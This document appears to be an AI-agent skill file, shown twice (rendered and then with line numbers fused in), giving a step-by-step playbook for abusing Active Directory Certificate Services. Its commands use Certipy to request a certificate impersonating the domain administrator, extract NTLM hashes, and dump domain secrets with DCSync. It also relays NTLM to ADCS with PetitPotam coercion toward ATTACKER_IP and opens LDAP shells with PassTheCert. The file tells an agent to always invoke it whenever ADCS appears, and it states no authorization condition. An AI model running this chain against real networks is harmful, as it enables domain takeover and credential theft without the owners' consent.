ADCS Certificate Attack Methodology
ADCS is the PKI infrastructure of Active Directory. Misconfigured certificate templates can let low-privileged users obtain Domain Admin rights directly — currently the most underrated yet most powerful attack surface in domain penetration.
⛔ Further Reading (Must Read)
- Detailed exploitation commands and conditions for ESC1-ESC11 → references/esc-techniques.md
- Template ACL abuse (ESC4), ESC7/ESC11, template enumeration and cleanup → references/template-acl-attacks.md
- Golden Certificate, Schannel authentication, certificate format conversion, persistence → references/certificate-persistence.md
- → references/certifried-attack.md — CVE-2022-26923 Certifried machine account certificate spoofing
Phase 1: ADCS Discovery
# Discover CA servers
netexec ldap DC_IP -u USER -p PASS -M adcs
# Outputs CA names and servers
# Certipy enumeration (recommended)
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -enabled -vulnerable
# Outputs a JSON/TXT report with vulnerable templates flagged automatically
# Manual LDAP query
ldapsearch -H ldap://DC_IP -D "USER@DOMAIN" -w PASS \
-b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com"
ADCS Web Enrollment Detection
# Access the web interface
curl -sk https://CA_SERVER/certsrv/
# Returns 401 or a login page → ADCS Web Enrollment is present
Phase 2: Vulnerability Decision Tree
What did you find?
├─ ESC1: the template allows the requester to specify the SAN → impersonate any user
├─ ESC2: the template has Any Purpose / SubCA → issue an arbitrary certificate
├─ ESC3: the template has Certificate Request Agent → request on behalf of others
├─ ESC4: write permission on a template → modify the template into ESC1
├─ ESC6: the CA has EDITF_ATTRIBUTESUBJECTALTNAME2 enabled → global ESC1
├─ ESC7: CA admin rights → issue rejected requests
├─ ESC8: ADCS Web Enrollment + NTLM Relay → relay to obtain a certificate
├─ ESC9/10/11: newer attack paths
└─ No obvious vulnerability → check NTLM relay to ADCS
Detailed commands → [references/esc-techniques.md](references/esc-techniques.md)
Most common attack paths:
- ESC1 — a misconfigured template exists, directly request a Domain Admin certificate
- ESC8 — PetitPotam + NTLM relay to ADCS to obtain a domain controller certificate
- ESC4 — a template with write permission is turned into ESC1 and then exploited
Phase 3: ESC1 Fast Exploitation (Most Common)
ESC1 condition: the template allows CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (the requester can specify the SAN)
# Request a Domain Admin certificate with Certipy
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA_NAME -template VULN_TEMPLATE \
-upn administrator@DOMAIN
# Authenticate with the certificate to get a TGT
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Output: administrator Hash: aad3b435...
# DCSync
impacket-secretsdump -hashes :HASH DOMAIN/administrator@DC_IP
Phase 4: ESC8 Relay Attack
# 1. Start ntlmrelayx relaying to ADCS
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 2. Force the domain controller to authenticate
python3 PetitPotam.py ATTACKER_IP DC_IP
# 3. Obtain the domain controller certificate (Base64 output)
# Save it and authenticate
echo "BASE64" | base64 -d > dc.pfx
certipy auth -pfx dc.pfx -dc-ip DC_IP
Phase 5: Certificate Authentication
# Certipy authentication (automatically requests a TGT and extracts the NTLM hash)
certipy auth -pfx user.pfx -dc-ip DC_IP
# If PKINIT is unavailable (error KDC_ERR_PADATA_TYPE_NOSUPP)
# Use Schannel authentication
certipy auth -pfx user.pfx -dc-ip DC_IP -ldap-shell
# Or use PassTheCert (default tool path: /pentest/PassTheCert/Python/)
python3 /pentest/PassTheCert/Python/passthecert.py -action ldap-shell -crt user.crt -key user.key -domain DOMAIN -dc-ip DC_IP
Tool Quick Reference
| Tool |
Purpose |
| certipy |
Full ADCS enumeration + exploitation workflow |
| ntlmrelayx.py |
NTLM relay to ADCS |
| PetitPotam |
Force domain controller authentication |
| Rubeus |
Certificate authentication on Windows |
| PassTheCert |
Direct certificate authentication (no PKINIT) |
Key Concepts
- SAN (Subject Alternative Name): the identity field in a certificate; ESC1 allows the requester to specify it → impersonate anyone
- PKINIT: use a certificate for Kerberos pre-authentication → obtain a TGT → extract the NTLM hash
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT: template flag that allows the requester to customize the SAN = ESC1
1---2name: adcs-certipy-attack3description: "Active Directory Certificate Services (ADCS) certificate attacks. Use when a domain contains a CA server, ADCS Web Enrollment, or misconfigured certificate templates. Covers all ESC1-ESC11 certificate abuse paths, the Certipy toolchain, certificate forging, and NTLM relay to ADCS. Always use this skill whenever ADCS/CA/certificate/certsrv related content is discovered"4zh-signals: "针对 ADCS 证书模板错误配置的 ESC1-ESC11 证书滥用与 Certipy 攻击。信号:ADCS,证书攻击,Certipy,ESC1,域渗透,证书伪造"5when-to-use: "Use when a domain has a CA server, ADCS Web Enrollment, or misconfigured certificate templates, to exploit ESC1-ESC11 paths."6metadata:7 source: https://skillmd.com/skills/dangeroussong/adcs-certipy-attack8 tags: "adcs,certipy,certificate,certificates,ca,esc1,esc2,esc3,esc4,esc8,domain controller,active directory,certificate attack,pkinit,certifried,CVE-2022-26923,dnshostname"9 category: "lateral"10---1112# ADCS Certificate Attack Methodology13- 攻击大类:C30 AD域渗透与域控攻击1415ADCS is the PKI infrastructure of Active Directory. Misconfigured certificate templates can let low-privileged users obtain Domain Admin rights directly — currently the most underrated yet most powerful attack surface in domain penetration.1617## ⛔ Further Reading (Must Read)1819- Detailed exploitation commands and conditions for ESC1-ESC11 → [references/esc-techniques.md](references/esc-techniques.md)20- Template ACL abuse (ESC4), ESC7/ESC11, template enumeration and cleanup → [references/template-acl-attacks.md](references/template-acl-attacks.md)21- Golden Certificate, Schannel authentication, certificate format conversion, persistence → [references/certificate-persistence.md](references/certificate-persistence.md)22- → [references/certifried-attack.md](references/certifried-attack.md) — CVE-2022-26923 Certifried machine account certificate spoofing2324---2526## Phase 1: ADCS Discovery2728```bash29# Discover CA servers30netexec ldap DC_IP -u USER -p PASS -M adcs31# Outputs CA names and servers3233# Certipy enumeration (recommended)34certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -enabled -vulnerable35# Outputs a JSON/TXT report with vulnerable templates flagged automatically3637# Manual LDAP query38ldapsearch -H ldap://DC_IP -D "USER@DOMAIN" -w PASS \39 -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com"40```4142### ADCS Web Enrollment Detection43```bash44# Access the web interface45curl -sk https://CA_SERVER/certsrv/46# Returns 401 or a login page → ADCS Web Enrollment is present47```4849## Phase 2: Vulnerability Decision Tree5051```52What did you find?53├─ ESC1: the template allows the requester to specify the SAN → impersonate any user54├─ ESC2: the template has Any Purpose / SubCA → issue an arbitrary certificate55├─ ESC3: the template has Certificate Request Agent → request on behalf of others56├─ ESC4: write permission on a template → modify the template into ESC157├─ ESC6: the CA has EDITF_ATTRIBUTESUBJECTALTNAME2 enabled → global ESC158├─ ESC7: CA admin rights → issue rejected requests59├─ ESC8: ADCS Web Enrollment + NTLM Relay → relay to obtain a certificate60├─ ESC9/10/11: newer attack paths61└─ No obvious vulnerability → check NTLM relay to ADCS62Detailed commands → [references/esc-techniques.md](references/esc-techniques.md)63```6465**Most common attack paths**:661. **ESC1** — a misconfigured template exists, directly request a Domain Admin certificate672. **ESC8** — PetitPotam + NTLM relay to ADCS to obtain a domain controller certificate683. **ESC4** — a template with write permission is turned into ESC1 and then exploited6970## Phase 3: ESC1 Fast Exploitation (Most Common)7172ESC1 condition: the template allows `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` (the requester can specify the SAN)7374```bash75# Request a Domain Admin certificate with Certipy76certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \77 -ca CA_NAME -template VULN_TEMPLATE \78 -upn administrator@DOMAIN7980# Authenticate with the certificate to get a TGT81certipy auth -pfx administrator.pfx -dc-ip DC_IP82# Output: administrator Hash: aad3b435...8384# DCSync85impacket-secretsdump -hashes :HASH DOMAIN/administrator@DC_IP86```8788## Phase 4: ESC8 Relay Attack8990```bash91# 1. Start ntlmrelayx relaying to ADCS92ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \93 -smb2support --adcs --template DomainController9495# 2. Force the domain controller to authenticate96python3 PetitPotam.py ATTACKER_IP DC_IP9798# 3. Obtain the domain controller certificate (Base64 output)99# Save it and authenticate100echo "BASE64" | base64 -d > dc.pfx101certipy auth -pfx dc.pfx -dc-ip DC_IP102```103104## Phase 5: Certificate Authentication105106```bash107# Certipy authentication (automatically requests a TGT and extracts the NTLM hash)108certipy auth -pfx user.pfx -dc-ip DC_IP109110# If PKINIT is unavailable (error KDC_ERR_PADATA_TYPE_NOSUPP)111# Use Schannel authentication112certipy auth -pfx user.pfx -dc-ip DC_IP -ldap-shell113114# Or use PassTheCert (default tool path: /pentest/PassTheCert/Python/)115python3 /pentest/PassTheCert/Python/passthecert.py -action ldap-shell -crt user.crt -key user.key -domain DOMAIN -dc-ip DC_IP116```117118## Tool Quick Reference119| Tool | Purpose |120|------|------|121| certipy | Full ADCS enumeration + exploitation workflow |122| ntlmrelayx.py | NTLM relay to ADCS |123| PetitPotam | Force domain controller authentication |124| Rubeus | Certificate authentication on Windows |125| PassTheCert | Direct certificate authentication (no PKINIT) |126127## Key Concepts128- **SAN** (Subject Alternative Name): the identity field in a certificate; ESC1 allows the requester to specify it → impersonate anyone129- **PKINIT**: use a certificate for Kerberos pre-authentication → obtain a TGT → extract the NTLM hash130- **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**: template flag that allows the requester to customize the SAN = ESC1